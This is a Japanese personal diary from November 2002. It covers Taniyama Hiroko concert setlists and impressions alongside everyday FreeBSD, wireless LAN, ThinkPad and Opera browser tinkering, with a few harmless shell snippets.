ちなみに TL/1 は Tiny Language 1 の略だそうで、当然 PL/1 に対する皮肉がこめられていたのでしょう。

2002年11月17日(日)

モカちゃんのポケット
モカが「ブラックホールってな～に。どーしてなんでも吸い込むの」って聞いてきました(^^;。一応テレビなんかで、ぐるぐる回っている黒い「もの」で何でも吸い込んでしまうものだということは知っている様です。
ブラックホールマニアのパパとしても困りましたね。どうすれば分かりやすく説明できるのだろう。
- パパ> 引力って知ってる？
- モカ> しってる、地球が引っ張ってる力でしょ。磁石とおんなじ。
- パパ> それでブラックホールは引力が強すぎてなんでも吸い込んじゃうんだ。光も吸い込んじゃうんだ。
- モカ> ふーん。風の力で吸い込んでるのかと思っていた。
ってな会話があったのですが、どのくらい分かったものやら(^^;。テレビなんかのイメージだと確かに電気掃除機に吸い込まれていくように見えますね。「風の力」という気持ちは納得。
それでポケットってなによ(-_-)。←いや～、ブラックホールって宇宙のポケットみたいなものなんで～(^^;。
ちなみに、「たっち」したらあっという間に歩き出すと思います(^^)。
もうすぐ大阪
猫森集会が終わったばかりという感じですが、あとたった一週間ですね。広島や仙台にも行かれる方は体力・財力・時間と熱意の勝負ですな(^^)。
昨日ねこ森集会リミテドの振替用紙書き込み。いつもながら、てゆーか２回目だけど、面倒です。
# 福島の時間を早く発表してほしいな。

Ｃプログラム二日目の編集

編集といってもディレクトリを作成してシンボリックリンクを張るだけだったりします(^^;。

$ ls -l
lrwxr-xr-x  1 kagami  kagami  42 Nov 17 00:12 01.mp3 -> \
    ../ohirunekyuu-osannpokyuu/track03.wav.mp3
lrwxr-xr-x  1 kagami  kagami  34 Nov 17 00:12 02.mp3 -> \
    ../hyouryu-gakudan/track03.wav.mp3
lrwxr-xr-x  1 kagami  kagami  57 Nov 17 00:18 03.mp3 -> \
    ../tsumetai-mizunonakawo-kimito-aruiteiku/track06.wav.mp3
lrwxr-xr-x  1 kagami  kagami  43 Nov 17 00:20 04.mp3 -> \
    ../nekono-moriniha-kaerenai/track01.wav.mp3
lrwxr-xr-x  1 kagami  kagami  41 Nov 17 00:21 05.mp3 -> \
    ../nemurenai-yorunotameni/track05.wav.mp3
lrwxr-xr-x  1 kagami  kagami  33 Nov 17 00:21 06.mp3 -> \
    ../yuganda-oukoku/track09.wav.mp3
lrwxr-xr-x  1 kagami  kagami  37 Nov 17 00:22 07.mp3 -> \
    ../kokoha-haruno-kuni/track10.wav.mp3
lrwxr-xr-x  1 kagami  kagami  33 Nov 17 00:24 08.mp3 -> \
    ../tokino-shoujyo/track03.wav.mp3
lrwxr-xr-x  1 kagami  kagami  42 Nov 17 00:25 09.mp3 -> \
    ../ohirunekyuu-osannpokyuu/track08.wav.mp3
lrwxr-xr-x  1 kagami  kagami  34 Nov 17 00:27 10.mp3 -> \
    ../toumeina-circus/track09.wav.mp3
lrwxr-xr-x  1 kagami  kagami  32 Nov 17 00:28 11.mp3 -> \
    ../sokkuri-house/track01.wav.mp3
lrwxr-xr-x  1 kagami  kagami  40 Nov 17 00:28 12.mp3 -> \
    ../../iwao-junko/kimochi/track11.wav.mp3

それで

$ apm amp *.mp3

とすれば順番通りに演奏。なにか一枚アルバムが増えた感じがします(^^)。

2002年11月16日(土)

おひさま
谷山浩子さんの歌と、岩男潤子さんの歌を両方聴きました。聴いているだけでほんわか幸せになってくる歌ですよね。
岩男潤子さんの歌は、可愛いし幸せ感がストレートに表現されていますね。浩子さんの方もやっぱり可愛いんですが、より抑制された表現の魅力を感じます。
どちらも好きです(^^)。でも、アレンジは岩男潤子さん版の方が好きですね。
Kimochi Ver 0.1beta
さすがに声優さんだけあって、耳元でささやかれる様な歌い方から、伸びのある声の歌い方まで幅が広いですね。それになんと言っても声が可愛いです(^^)。
浩子さんのピアノが冴えまくっていますね。特に「ここにいるよ」の入りの部分は本当に美しいです。猫森の時もピアノの導入から美しさに酔っていましたから。
「パタパタ」がとても好きです。ピアノも美しいし、潤子さんの歌も切なさが伝わってきて心に響きます。
他の曲の感想は後日(^^;。
履歴書
なんと前の会社にお願いして自分の履歴書のコピーを送ってもらいました。もう思い出せないの～(^^;。A さんどうもありがとうございます。
無線 LAN その後
基地局の設定で「ローミング不可」にしてから、遠くの部屋でも一度も変になりません。X24 で速度が変化するのも見えたし。やはりこれが原因だった様ですね。
それはともかく症状からして電源ではなくマザーだと思っていました。マザーじゃなくて良かったですね。お子さんも立たれたようでいいですねえ(^^)。

2002年11月15日(金)

Kimochi
昨日届いてました。感想は後日。だけど猫森では下手な文章で自分としては信じられないほどたくさん感想を書いたので少々疲れています。いつになることやら(^^;。
前にも書いたけどこの日記を書き始める前は、文章って論文っぽいのしか書いたことなかったから。
あと、家にはまともな CD 再生装置はノートパソコンしかないのですが調子悪いです(^^;。３回目でやっと認識。何とか 256Kbit レートの mp3 化が出来ました。 CD 再生装置買わなければいけないかも。また散財(-_-)。
大道寺知世さんだけは知っていました。これでＣの二日目の曲目編集ができます(^^)。←全然関係ないですね。
ちょっと聴いたけど可愛い声～&hearts。ジャケットも可愛いし。今日はなぜか集中して聴けないので明日以降聴き直します。もちろん音楽のせいではなく、わたしの側の調子の問題でしょう。コンサートでもそうなのですが、こちらの問題で音楽を聴くときの集中力の維持が難しい場合もあります。
それでも一曲だけ聴いた「ここに~~おいで~~いるよ」。目がうるんでしまいました。猫森を思い出したということもあるのかも知れません。←別件で「森へおいで」の話を書いていたのです(^^;。
今日は調子が良い無線 LAN
実は無線 LAN の設定を見たらローミング可に印がついていたのです。「存在しない基地とローミングしようとしてるのかなと」思って設定を変えたところ、今日は問題は発生していません。単なるちょんぼだったかも。
もう一台ちっちゃい基地局があるのでローミングの実験をしたことがあったのです。だけど全然うまく行かなくて、マニュアルを良く読んだらイーサネット側も繋がっていないとローミングが出来ないとのこと。あんまり意味がないですねえ。
# そうか、ちっちゃい方を本家にする方法があったか。気が付かなかった～(^^;。
# 「コンサートも東京 + 地方を 2回位におさえて」と書いたのは後ろの方に
# 括弧が必要だったりします。
# 「コンサートも東京 + (地方を 2回)位におさえて」

2002年11月14日(木)

大阪からの帰り
今日は新しい会社の場所を借りて仕事。行く途中ですでに押さえた２４日大阪から帰ってくる「のぞみ９８号」の指定券を受け取る予定。いつの間にか「禁煙席指定男」になりました(^^)。あと１０日しかないのですね(^^;。
昨日「そっくりハウス」と「ドッペルゲンガ─（二重身）」全然関係ないと書きましたが、わたくしとしては、自分が二重になっているというイメージでなく、無限のイメージが強いのです。それで天声人語氏にはそういう感覚が無い様でしたのであの表現となりました。一日でリンク切れ～(^^;。今日の枕は「ＳＡＫＡＮＡ－ＧＩＲＬ」ってわけには行きませんでしたね(^^;。
Kimochi
今日届くはず。中三の二女は岩男潤子さんのお名前を知っていました(^^)。
子守歌
実は猫森で聴いていたときこの曲名分からなかったのです(^^;。「漂流楽団」って３か月前位に七角錐の少女ネタつくり(^^;に「七角錐の少女」を何回も聴いた以外あまり聴いてなかったのです。
猫森の子守歌は本当に美しかったです。いま CD で聴いていますが猫森のピアノだけの弾き語りの方が好きです。
コンサートで聴いた曲をアルバムで聴き直すと曲に対する愛着が増えていてとても良いですね。前にも書きましたが、さすがに半年で 30枚もアルバムを買い込んだので把握しきれていないのです。
あと、昨日谷山さんのページに感想を掲載してもらえたのですが、今回の猫森で一番幸せな瞬間を書いたところだというのがとてもうれしかったです(^^)。
```
# 谷山さん関連でない数学・無限マニアの方へ。
# 「七角錐の少女」ねたを読んで下さる場合、
# 少女は七つの城に守られた円錐の家に
# 住んでいると思って読んでください。
```
ちなみに本物の(^^;「七角錐の少女」は様式とアレンジの傑作です。
# 子守歌がどうして七角錐の少女で終わるんだか。これじゃ寝れないよ～(^^;。
またお礼
テープその２を聞きました。ありがとうございます(^^)。
# お米が当たったというのはこれなのですね。
# だけど 10万円はあたらなかったのですね(^^;。
調子が悪い無線 LAN
この二日間とある事情、てゆーか上に書いてあるけど、ありて夜中に子供の部屋にこもって無線 LAN を使っています。子供部屋は無線の基地(アンテナ付き)からかなり離れていて、曲がりくねった廊下を経由しているのです。それでたまにキャリアの調子が悪くなるのは仕方ないのですが、一回だめになると数分間全然通信できなくなる場合があるのです。一度この状態になるとアンテナの場所にもっていってもだめなのです。ましてや ifconifg wi0 down, ifconfig wi0 up を行うとリンクが確立するまで数分間かかってその間一切の操作が不可能となります。
PC 側をリブートするとなおるので、FreeBSD のドライバの問題(tsleep が期待通り戻らない)かなとも思うのですが、なかなか無線 LAN も枯れてこないですねえ。それにしても、狭いマンションでアンテナまで立てているのですから、もうちょっと安定して動作して欲しいですね(^^;。
それで気が付いたのですが IBM X24 内蔵の無線 LAN デバイスを使用してる場合、最初以外リンク速度が 11Mbps より遅くなるのを見たことがないのです。メルコの PCMCIA カードだと色々な速度になるのですが。どうも、キャリアの調子が悪くなりリンク速度を落すところで変になる様ですね。デバイスドライバの問題なのか、基地局との「相性」問題なのか。困ったものですなぁ(^^;。いくらセキュリティに無頓着なわたくしでも無線で暗号化しないのはちょっといやですし。

2002年11月13日(水)

今日の天声人語
谷山浩子さんの「そっくりハウス」が引用されています。ただ「ドッペルゲンガー（二重身）」ってのは歌詞と全然関係ないと思うのだが。
AirH"(^^
なんか昨日 AirH" の発呼は成功するのですが、その後の lcp negotiation の部分での carrier lost が頻発して 100 回くらい発呼したらやっとつながりました。調子悪いです。
実は一昨日よく読まして頂いている日記に「AirH" の調子が悪い」と書いてあったので、例のごとく調子に乗って自宅なのにわざと AirH" に切り替えてその日記をリロードという意地悪をしたのです(^^;。あっ、その日記を書いている方のところはリアルタイムでログがでるのですけど。
まったく悪いことは出来ないものですな(^^;。
ちょっと自粛
最近躁状態であっちこっちに出没しちゃっているのでなるべく自粛(^^;。なんとなく分かってきたのですが日記の量が多いときは躁状態、少ないときは欝状態ですね。今月の場合はイベントがあったという理由もあるでしょうが、すごく量が多いのです。
お礼
テープその１を聞きました。ありがとうございます(^^)。

それはともかく載りましたねえ。よく覚えてないのですがすごいこと書いてますね(^^;。

2002年11月12日(火)

円錐
また血迷って某メーリングリストに。実は確信犯だったりします(^^;。内容はこんど。
あと上とは関係ないんですけど余計なこと書いちゃったかなぁ。
重病人
おやおや、７日に重病だった人がいたのですね。とってもお元気そうに見えましたが。それにどうして「体の弱い人」でリクエストできなかったのだろう(^^)。
新しい仕事場
毎日家で仕事するのも運動不足感が強いので、毎週火曜日と木曜日は新しい会社に頼み込んでそちらで作業。X24 とともに出陣。べつに仕事の内容はその会社と関係ないことやるんですけど。
困った編集作業
わたくしの PC には所有する谷山さんの全曲目が mp3 化されて入っています。それで比較的簡単に「聴きたい順編集」が可能なのです。そこで今回のプログラムを再現したいのですが困りましたねえ(^^;。
つまり肝心の「ここにいるよ」と「わたしは淋しい水でできてる」がないんですね。あと「神様」もないし。Ｄプロは集めれるしコンサートではとても気持ち良くなれたのですが、なんせ「苦手な曲」(^^;が多かったりします。
特にＢの場合「わたしは淋しい水でできてる」あたりからテンション急上昇でしたからこの曲がないと辛いです。
このプロジェクトだめかな～(^^;。
次回のアルバムにはぜひ上の三曲を入れて欲しいですね。
それで、「ここにいるよ」問題を半分解決しようと、 (^～^;)さんのページを参考にさせて頂いてこれを注文。てゆーか、某掲示板では顔文字を見るまで一瞬誰だか分からなかったです(^～^;)。失礼しました。
```
----------------------------< ご購入商品 >----------------------------
 商品コード ｜注文数量｜　単価　｜商品名
－－－－－－－－－－＋－－－－＋－－－－＋－－－－－－－－－－－－－－
PCCG-417 ｜ 1｜ ￥2,913｜岩男潤子/Ｋｉｍｏｃｈｉ
```
↑ 色々なところで反応していただいてありがとうございます(^^)。皆さん絶賛されていますね。今から楽しみです。
それはともかく何でオーボエなんて書いたのだろう。あとサクソフォーンの音って苦手(^^;。
X 端末交換
ちょっと気分を変えて X 端末(作業マシン)を X24(B5 サイズ) から R30(A4 サイズ)に交換。いや～、久しぶりに R30 で作業をすると画面がおっきいですねえ。キーボードのタッチが情けないのを我慢すれば目は楽ですね。ディスプレイの負荷分散にもなるでしょうし。そのときの気分でどちらを使うか決めましょ。
Windows2000 などクライアントとしては十分安定していると思いますし、使い勝手も悪くないと思います。ただ、Windows 系で一番不満なのは、いろいろ方法はあるようですが、基本的に「CPU が動作しているマシンで作業しなければいけない」ということですね。

2002年11月11日(月)

猫森集会リミテドの開催予定
今 MC とともに通知が来ました。二日のうち一日しか参加出来ない様ですね。第一希望と、第二希望日を指定する様です。
ついでに九州・関西の日程と場所。丸写し。まだ信じちゃだめ。
```
２月１０日(月)佐賀 Live House GEILS 19:30
２月１１日(火)長崎 メルカつきまち 19:30
２月１３日(木)熊本 ぺいあのPLUS' 19:30
２月２１日(金)神戸 酒心館 19:30
２月２２日(土)京都 アートコンプレックス 19:00
```
Ｄプログラム
正直言いますと、一日目は「ちょっとなー」という感じでひたりきれなかったのです。それで昨日(二日目)もあんまり期待しないで行ったのですが、いやー私の感想なんて全くあてにならないもので、ホントに素晴らしい２時間でした。
なんといいましょうか。ＢプログラムやＣの二日目のプログラムが劇的な演奏で精神を高揚させてくれたり、静かで美しい曲で心を静めてくれたりと変化に富んでいたのに対して、Ｄプログラムは持続的に幸福感を与えてくれたという感じかな。個人的には一日目ひたりきれなくて、二日目「完全にひたりきった」状態になった理由はよく分かりません。ただ楽日ということもあって、浩子さんやＡＱさんも気合いが入っていて、十亀さんも風邪がなおって本調子ということはあったのかどうか。単に私の側だけの問題かも知れません。個人的には、昨日の浩子さんの歌が今回一番情感がこもっている様に感じました。
まずオープニングの「子守歌」。きれいな声でピアノの弾き語り。それで大好きな「銀河通信」「森へおいで」でかなりひたりモード(^^)。
次に「猫シリーズ」で「猫が行く」と「ねこの森には帰れない」。「ねこの森には帰れない」が十亀さんと浩子さんの息が合ったすばらしい演奏。浩子さんの歌も絶品。浩子さん自身もこの曲、「作ったときはあんまり好きでなかったけど、最近好きになってきた」と言っていました。
次が「お人形畑」「ＳＯＲＡＭＩＭＩ」。実を言うと「ＳＯＲＡＭＩＭＩ」は、苦手曲ベスト３に入っているのですが(^^;、こうして生でじっくり聴くと切なさがじかに伝わってきていいですねえ。
青シリーズは名演。特に「青い鳥」の演奏がこれまた十亀さんのクラリネットと息が合って素晴らしかったです。
闇シリーズ。いやー、これほど違う曲がおんなじシリーズとは(^^;。「まっくら森の歌」は幻想豊かな見事な演奏。このあたりでは完全に浸りきっていました。それで「闇に走れば」が苦手曲堂々の一位(^^;なのですが、生で聴くとなかなか心に響く曲ですね。ただやっぱり暗いな。
「都会を歩くシリーズ」では「ガラスの巨人」が素晴らしかったです。歌も詩情豊かだったし、クラリネットの響きがこの曲にとてもふさわしかったです。
最後の「海の時間」。実は二日目に一番が終わった後長大な間が空いたのです(^^;。どうもＡＱさんがうち込みの出だしで失敗して、浩子さんが歌い出せなかったそうなのです(^^;。ところがうまいことにわたくし完全に陶酔状態になって目をつぶって聴いていたのです。それで一瞬時間が止まったような沈黙の世界に入り込みましてちょっとわけが分からない状態になったのです。そこで急に美しい２番の入りとなったので、その瞬間全身に戦慄が走りました。沈黙の効果を狙っていたのかと思っていたんですけど単なる間違いだったのですね(^^;。
だけど私にとっては素晴らしい演奏効果だったのです。いやーよかった(^^)。浩子さんの歌声もとても美しかったです。
アンコールの後、拍手がなりやまなくてもう一度出てきて下さいましてオマケの歌が「あかり」。大好きな曲で生で聴きたかったので得した気分。
というわけで、浸りきって陶酔しまくっていました。満足。
個人的には「曲目大賞」がＣの二日目。「ひたり大賞が」Ｄの二日目。「劇的感動大賞」がＢの一日目かな。あと「漂流楽団」に入っている曲ってちょっと暗くて重い感じであまり聴いていなかったのですが、今回すばらしい演奏が多かったですね。好きになりそうです。
大阪
２４日に行くのが大阪ですね。今回は東京(^^;でした。なんか品のないこと書いてごめんなさい。
```
新大阪 21:06 ～ 新横浜 23:32
新横浜 0:01 ～ 菊名 0:09 ～ 横浜 0:16 ～ 藤沢 0:46(最終の場合)
```
福島
うーん、来年は新しい会社に入ったばかりなので有給が苦しいのです(^^;。ただ福島でソロっていうところが魅力。半休で行けて、帰りは東京までは戻れるだろうから、東京に泊ろうかな。あとは奧さまとの交渉ですな。
谷山浩子さんのページ更新。
おっと藤沢に帰れるかな。ただ７時３０分開演だとアウトですね。
```
福島 21:50 ～ 東京 23:32
東京 23:54 ～ 藤沢 0:46
```
名古屋
```
名古屋 22:10 ～ 新横浜 23:32 以下大阪と同様
```
なんか年をとるごとに綱渡り人生という気が(^^;。

2002年11月10日(日)

最終日

いよいよ今日が最終日です。熱狂と充実の１０日間(８日+休み２日)でした。まだ今日が残っているけど。

今日は１７時３０分からなので注意しましょう(^^;。

行ってきました。とりあえず曲目 Ver0.99(^^;。感想は明日てゆーか数時間後。とりあえず一言だけ「素晴らしかったです(^^)」。

曲名備考

子守歌オープニング

銀河通信

森へおいで

猫が行く猫シリーズ

ねこの森には帰れない

お人形畑シリーズ名不明

ＳＯＲＡＭＩＭＩ

青色帽子ツアー青シリーズ

青い鳥

まっくら森の歌闇シリーズ

闇に走れば

三日月の女神都会を歩くシリーズ

リカちゃんのポケット

ガラスの巨人

学びの雨前向きシリーズ？

海の時間

僕は帰るきっと帰るアンコール

あかりおまけ

パソコンの突然死
関係ないとは思いますが、私のつたない経験ではパソコンの突然死は意外と次の原因が多かったりします。
- CPU の接触不良。
- RAM の接触不良。
- RAM の不良。
接触不良に関しては「むにむに」するとなおる場合が多いです(^^;。 RAM の不良に関してはインターネットにいろいろ検査ソフトが出回っています。それとも２つ以上ある場合は１つだけで試してみるという手もあります。

2002年11月9日(土)

今日も猫森
今日は午前中１０時まで寝てしまった(^^;。ノリまくった日の翌日は特に疲れています。午前中はドラムの練習に行って、午後は奧さまと猫森に参戦。Ｄはどんな曲目なんでしょうね。
昨日の「体の強い人」は零点。あと「時計館の殺人」の後、谷山さんがクイズで全員が立ち上がる説明をしていたのですが、わたくし放心状態でありまして、遠くから「立って」という声が聞こえて思わず一人で立ち上がってしまうマヌケやりました。なんか「だいじょーぶですかー」だか「どーしたんですかー」と言ってもらえた様な記憶が。よく覚えてないです(^^;。
今日は子供が待っているので、ごあいさつもせずに帰って申し訳けありませんでした。

昨日の猫森オールリクエスト２日目

本当にすばらしい演奏会でした。リクエストされた方々のセンスの良さに感謝でございます。まず「漂流楽団」がしっとりしたすばらしい演奏。「LUNA」「朝の扉を開くとき」「カントリーガール」と比較的聴きやすい曲でいい気分にさせてもらいました。「カントリーガール」は「眠れない夜のために」で好きになった曲なので一度生で聴きたかったのです。

そして「時計館の殺人」が三人の息が完璧にあった本当にすばらしい演奏。今回の猫森では「七角錐の少女」と同じくらい感動しましたね。まるでアンコールの時みたいに拍手がなりやまなかったです。

絶妙だったのが次の三曲「ここは春の国」「静かに」「ただ風のために」。リクエスト者のセンスが良かったですねえ。「時計館の殺人」の強烈な演奏で精神が高揚しているのだけれども、呆然としているという状態で静かで大好きな三曲だったので、とても遠くから浩子さんの声が聴えてくるようでわたしにとっては麻薬的な効果がありました。このあたりでは意識が無限遠の一点に集中する感覚でしたね。

遺跡散歩、そっくりハウスでやっと普通の状態にもどったら、なんとアンコールが「ここにいるよ」。昨日もう一度聴きたいと思った曲だったのです。いい曲です。とても幸せな気持ちで演奏会を聴き終わりました。

曲目リスト Ver1.00←今日はパクリじゃないぞ(^^)。証拠はここだ～。バグ修正の参考にさせて頂いた資料はあります(^^;。

曲名備考

そっくり人形展覧会オープニング

漂流楽団遠くから来た人

LUNA くじ引き

朝の扉を開く時

カントリーガール

時計館の殺人体の強い人

ここは春の国クイズ

静かに

ただ風のために

遺跡散歩じゃんけん

そっくりハウスエンディング

ここにいるよアンコール

わたしが体験したコンサートで最高かも。Ｂプロの「七角錐の少女」もよかったけどトータルとしては今日の方が好きです。

これだけいい選曲をして頂けると、自分でリクエストする必要はないですね。

2002年11月8日(金)

今日の猫森予定表
- 11時に家を出て埼玉県へ。
- 14時埼玉県到着。
- 16時まで打ち合わせ。出発～。
- 18時頃に会場に到着。猫森リクエストモード突入。
- 23時30分頃帰宅。
かなりハードですな(^^;。
#05
ありがとうございます。曲名を思い出したというか見たのですが「ここにいるよ」、いい曲でしたねえ。もう一度聴きたいな。体が弱い人 6ポイントもあったのですがまさか全得点の人がいるとは(^^;。
昨日のオールリクエスト
いやー、あれに当たるのは至難の技ですね(^^;。それにしてもわたくしの様な初心者にはマニアックな曲が多かったです。メモをとってきてないので感想は後日。覚えていない曲名が多くて(^^;。
最後の曲。浩子さん可愛いかったです。←やば、昨日はリクエスト大会だから曲名を思わず書いちゃった、今日も同じ曲だったらどうしよう。ごめんなさい。
ちなみに、昨日はお隣が K さんでございました。お世話になりました(^^)。
やっぱり浩子さんのところで伏せ字になっていますねえ。行かないで見ちゃった人本当にごめんなさい。
どっちを使う
現在お家には IBM の ThinkPad が２台ありまして R30(A4サイズ) と X24(B5サイズ) でございます。それで外出の時は当然 X24 持ち出しなのですが、家で使う場合どっちを (端末として)使うか迷うところです。作業机はあんまり大きくなくて２台置くと狭くなってしまうのです。
- R30 はキーボードが安っぽい。だけどちゃんとしたサイズで画面も大きい。
- X24 はキーボードの感触は良いが、右側のキーがちっちゃくなっている。画面も小さい。
画面が小さいのはちょっといやなのですが、キータッチの魅力で X24 がメインマシンとなっています。R30 は「ssh で入ります」マシンですね。キーボードの右が小さいのはわたしの場合ほとんど気になりません。
X24 ちょっとだけねじって(^^;みましたが強いですよ。

2002年11月7日(木)

日付へのリンク
このページにリンクを張ってくださるとってもありがたい方もおられます。それで特定の日付へのリンクの張り方ですが、例えば今月の 5日の場合、
```
http://evariste.que.ne.jp/kagami/diary/0000/200211.html#05
```
となります。全く役に立っていないリンク部屋にでも書いとこうかな。
リンクのページ更新。とりあえず、どうせ役に立たないリンクはやめて説明のみのページに。
それはともかく「見るべし」と言われても藤沢では明日で終りですぅ(^^;。
オールリクエスト
今日と明日はオールリクエストです。楽しみです。座席も結構いいし。
行ってきます。1-12。
CorelDRAW
なんとなく Tgif の画面に似ていますね。
パソコンを知らない
わたしって、一応コンピュータでごはんを食べている人なのでしょうけど、本当にパソコンのこと知らないです。
昨日一月から就職する会社に行ってきたのですが、そこで X24 と AirH" の自慢をしていたのです。そしたらそこの技術の人が「かがみさんどうして AirH" のカード PCMCIA のところに挿してるの」っていうのです。わたしの持っている AirH" のカードは CFE-02 といって、コンパクトフラッシュみたいな形をしています。それを今まで PCMCIA に挿すゲタをはかせて PCMCIA スロットに挿していたのです。そしたら X24 ってコンパクトフラッシュみたいなのを挿す場所があったんですねえ(^^;。←ほんとに昨日まで知らなかった。
つまり～ X24 に挿す場所があるのを知らなかったのでなく、あーゆーのはザウルスみたいな特殊な場合のために小さくしているのであり、そもそも PCMCIA が正しい大きさと思っていたのです(^^;。
だから必ず PCMCIA スロットににゲタをはかせて挿すんだと思っていました。
マザーボードの名前は一つも知らないし、グラフィックチップも全然分からない。 i386 系の CPU はペンティアムとアスロンという名前しか区別がつかないし。当然メモリーなんてお店で買うときは、DIMM とか SIMM とか分からないので特定の PC の名前を指定して買うしか出来ないとは(^^;。
お店の若い店員の人なんて、わたしが買い物していると明らかに「何にも知らないおっさんだな」と軽蔑の眼差しで見てるもんなぁ。あなたよりはコンピュータに関してはちょっとだけ詳しいと思うのですけど(^^;。

2002年11月6日(水)

また明日から
また明日からですね。聴きに行く方も体力的には結構きついものがあるので、谷山浩子さんとＡＱさんはさぞかし大変でしょうね。だけどオールリクエストってどんな感じなんだろう。初めての体験(^^;。
ＭＡＹは全部大文字かも。これでバグなし完璧バージョンかな。だけどバグって忘れた頃にでますからねえ。←人様のをパクって偉そうなこと言うのやめなさい(=_=)。は～い(^^)。
まとめ取り
本日夜中の２時過ぎに
```
$ wget --recursive --user-agent='KAGAMI m(__)m' http://.../draft/
```
を実行してよろしいでしょうか。まことに失礼かつお手数ですが、まずければお知らせ下さい(^^)。ただし UserAgent は気分により変化する可能性があります(^^;。
どうもお騒がせしました。それでは今晩もう一度(^^;。
外出
X24 さまとはじめてのデート &hearts。やっぱり軽くていいですね。筐体も頑丈そうだし。いいですね。いいですね。とってもいいですね(^^;。あとバッテリーも４時間は無理としても AirH" を使用しながらで３時間半はもつようです。余裕をみて３時間かな。
Opera 使用感
Opera/FreeBSD を一日位使ってみました。それで感想。
- とにかく軽い。300MHz 位の CPU でも十分軽快に動作すると思います。
- たまに落ちる。
- 昨日も書きましたが、終了時に必ず core を吐く。不愉快なので
```
-----------------------------------------------------------------
#!/bin/sh
ulimit -c 0   # core を出力しない.
LANG=ja_JP.EUC  XMODIFIERS="@im=kinput2" /usr/local/bin/opera $*
-----------------------------------------------------------------
```
  というシェルで起動。
- 日本語入力は動くことは動くがまだだめ。入力した文字が実際には入っているのに表示されない場合があったり、最悪 X を巻き添えにして落ちる(^^;。
というわけなので、普通のページを見るには非常に良いのですが、掲示板とかの書き込みにはまだ使えないというレベルですね。幸いメモリーが山のように入ったマシンを使用しているので Mozilla,Opera,w3m を気分によって使い分けです。ただ Opera が安定したら Mozilla はどうしようかな。

2002年11月5日(火)

覚え書き・バックトラックの書き方

非常に汎用的に使用できます。

-------------------------------------
void parse(int depth) {
    while (色々な組み合わせ) {
        if (受理可能なら) {
            必要な環境を設定。
            if (解なら) {
                解を出力。
            }
            if (次に進めるなら)
                parse(depth+1);
            環境を復元。
        }
    }
}
-------------------------------------

FreeBSD の Opera
FreeBSD の Native で動作する Operaがリリースされたというので、ちょっとインストールして使ってみました。非常に軽快に動作するのは良いのですが、おそらく私の調査不足とバグでまだ設定が分からない部分等が多く、メインのブラウザには出来ません。
- 終了時に必ず core を吐く(^^;。実用上はあんまり問題ないですが。
- kinput2 の入力の仕方が分からない。これは困ります。 ←これも大体解決。
- 日本語のページで文字化けするページがある。これも困ります。 ←これは設定のちょんぼ。解決。入力がなければ使えます。
さくさく動くし機能も十分そうなので、枯れてきて問題点が解決すればモジラから乗り換えるかも知れません。
ちなみに UserAgent を次のように変更可能です。
- Opera
- Mozilla 5.0
- Mozilla 4.78
- Mozilla 3.0
- MSIE 5.0
任意の文字列にする方法はあるのかどうか分かりません。いまいち意図が分からないです。一通り問題点が解決したのでしばらく使ってみましょう。劇速です。
ソフトウエア工学における部品の再利用
ソフトウエア工学で重要な分野に、部品の再利用ということがあります。例えばプログラムでは一つの機能をまとめてサブルーチン(関数)などとして皆で利用すれば開発効率が上がることが実証されています。そもそも。。。というわけで、またまた題名を再利用させて頂きます(^^;。
それにしても、今日書いてきた紙にはちゃんと英語で書いてあって、確認までしたのに。どうしてどうして(^^;。
もう春日歩さん見ちゃったかなあ。また突っ込まれたらどうしよう(^^;。
お礼
またまたテープどうもありがとうございます。

Ｂプログラム

全部好きな曲なのでどこから書けばいいかな。

「おやすみ」は１５年前に「眠れない夜のために」でかなりはまってた曲です。生のピアノソロ弾き語りでじっくり聴くとあらためてじーんときますね。
お人形シリーズも好きな曲ばかりですね。作曲は違う人だけれども、「あやつり人形」と「おもちゃ」の違いってやはり「円熟」による簡潔な表現を感じました。
「ひとりでお帰り」は半年前に「Memories」でかなりはまった曲です。だけどこれって励まし系かなあ。
植物シリーズも良かったですね。特に「楽園のリンゴ売り」はもともとそういう曲なのだろうけど演奏に凄みを感じました。
「わたしは淋しい水でできてる」はぜひもう一度聴きたかった曲。すばらしいです。
それで励ましシリーズその２で励ましてもらって。

曲名備考

おやすみオープニング

あやつり人形人形シリーズ

おもちゃ

~~ドールハウス~~DOLL HOUSE

人形の家

キャンディーヌ

ひとりでお帰り励ましシリーズその１

悪魔の絵本の歌夢シリーズ

仇

楽園のリンゴ売り変な植物シリーズ

たんぽぽ食べて

パジャマの樹

わたしは淋しい水でできてる幻想図書館２不思議の国のアリスより

真夜中の太陽励ましシリーズその２

裸足のきみを僕が知ってる

七角錐の少女エンディング

小さな魚アンコール

七角錐の少女は最高の熱演。もともと長大な曲で、歌詞も無限に関連したちょっと異常な面があるのですが、今回は特に石井ＡＱさんのシンセの演奏が感動的でした。それにつられて浩子さんの歌もノッテタ様な気がします。もしかすると逆かも知れません。この曲って長くて不思議な歌詞という印象しかなかったのですが、こうして完璧な演奏を聴くと本当に「名曲」だなと思います。しばらくはまりそうです。

というわけで、わたしにとってのＢプログラムは「七角錐の少女」の印象が極端に強かったです。石井ＡＱさん素晴らしかったです。

2002年11月4日(月)

昨日のバグ
うーん、コピーしたのがばれてしまう。とっくにばれていたろうけど(^^;。
昨日の猫森
昨日の猫森はわたしの好きな曲ばかりだったですね。浩子さんも初日、二日目に比べてとてもノッテる感じがしましたし。声とピアノの音のバランスがすばらしく、わたし、ずーっと体に戦慄が走っていました。とにかく素晴らしい体験でした。サイコー(^^)。
あと、一昨日と昨日は偶然姫路から来られた同じ方とお隣の座席でした。これも何かの縁でしょうということでメールアドレスの交換をしました(^^)。
「谷山浩子そっくりハウス ILLUSTRATION SONG BOOK」購入。
今日も猫森
昨日と同じ曲目ですね。楽しみです。
今日で一段落ですね。てゆーか二日休みが入るだけだけど。今日はもっと燃えそうな予感。それでは行ってきます。
Ｂプログラムは全部良かったのですが、「七角錐の少女」が本当に素晴らしい熱演で体が熱くなりました。石井ＡＱ氏がすばらしい熱演でした。詳しくは明日。
散財の質
同じ散財でも自分の欲望のための散財と、ご家族思いの散財ではえらい違いでありますね(^^;。
それにしても VHS の運用と惨状はわたしの家と全く同じですね。それでもいくら家族のためといってもこれ以上散財はなぁ。だけどチャネルサーバーはともかく、ハードディスクレコーダは欲しいな。 ←まっ、まずい(^^;。
都会の健康
えー、わたくし極端な出無精でありまして、何か具体的な用事があるとか、「あんまり家の中にばっかりいるのもどーかなー」なんて思って、無理に用事を作るとかしないと外出しないのです。それで、歩くのもあんまり好きではなく、車があると近くに行く場合でもつい乗ってしまっていたのです。
